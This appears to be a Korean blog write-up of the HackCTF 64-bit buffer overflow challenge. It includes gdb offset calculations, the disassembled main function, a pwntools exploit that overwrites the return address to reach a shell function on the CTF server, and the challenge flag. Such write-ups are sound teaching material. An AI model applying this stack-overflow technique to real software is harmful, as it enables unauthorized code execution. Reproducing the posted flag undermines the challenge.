워게임

HackCTF - x64 Buffer Overflow(writeup)

HackHiJack 2021. 7. 26. 23:56
728x90
반응형

이번에는 hackCTF에 기본적인 64비트 BOF문제를 풀어볼 것이다.

 

일단 문제 파일에 실행 권한을 주고 실행해보자.

위처럼 AAAA를 넣었을때 Hello AAAA라고 나오는 것을 알 수 있다.

 

이번에는 checksec로 확인해보자.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

결과를 보면 NX bit가 적용되어 있다.

그러면 쉘코드를 넣는 게 불가능하다.

 

이제 무슨 함수들이 있는지 확인해보자.

gdb를 이용한다.

(gdb) info func
All defined functions:

Non-debugging symbols:
0x00000000004004b0  _init
0x0000000000400510  _start
0x0000000000400540  deregister_tm_clones
0x0000000000400580  register_tm_clones
0x00000000004005c0  __do_global_dtors_aux
0x00000000004005e0  frame_dummy
0x0000000000400606  callMeMaybe
0x0000000000400641  main
0x00000000004006b0  __libc_csu_init
0x0000000000400720  __libc_csu_fini
0x0000000000400724  _fini

main가 조금 특이하게 보이는 callMeMaybe함수가 있다.

 

그러면 ida64로 디컴파일을 해보자.

callMeMaybe는 쉘을 실행하는 함수이다.

 

그러면 return_address를 이 함수의 주소로 덮으면 쉘 획득에 성공할 것이다.

 

그러면 먼저 ret까지의 바이트수를 확인해보자.

push    rbp
mov     rbp, rsp
sub     rsp, 120h
mov     [rbp+var_114], edi
mov     [rbp+var_120], rsi
lea     rax, [rbp+s]
mov     rsi, rax
mov     edi, offset aS  ; "%s"
mov     eax, 0
call    __isoc99_scanf
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    strlen
mov     [rbp+var_4], eax
lea     rax, [rbp+s]
mov     rsi, rax
mov     edi, offset format ; "Hello %s\n"
mov     eax, 0
call    printf
mov     eax, 0
leave
retn

위는 main을 ida로 디스어셈블 한 것이다.

 

첫 번째로 scanf가 call 된다.

 

그러면 gdb로 돌아가서 main의 첫 줄과 scanf에 브레이크를 걸고 아래처럼 바이트 수를 구해보자.

(gdb) b *0x0000000000400641
Breakpoint 1 at 0x400641
(gdb) b *0x000000000040066d
Breakpoint 2 at 0x40066d
(gdb) r
Starting program: /home/psj/hackctf/64bof/64bof_basic 

Breakpoint 1, 0x0000000000400641 in main ()
(gdb) i r rsp
rsp            0x7fffffffde28	0x7fffffffde28
(gdb) c
Continuing.

Breakpoint 2, 0x000000000040066d in main ()
(gdb) i r rsi
rsi            0x7fffffffdd10	140737488346384
(gdb) p/d 0x7fffffffde28-0x7fffffffdd10
$1 = 280

위처럼 ret전까지 280바이트가 필요하다는 것을 알아냈다.

 

그러면 이제 exploit code를 짜 보자.

from pwn import*

#p = process("./64bof_basic")
p = remote("ctf.j0n9hyun.xyz",3004)


binsh = 0x0000000000400606 #callMeMaybe address

payload = b"\x90"*280
payload += p64(binsh)

p.sendline(payload)

p.interactive()

위의 코드처럼 짜고 실행해보자.

쉘 획득에 성공했다!!

이제 flag를 읽자!

flag : HackCTF{64b17_b0f_15_51mpl3_700}
728x90
반응형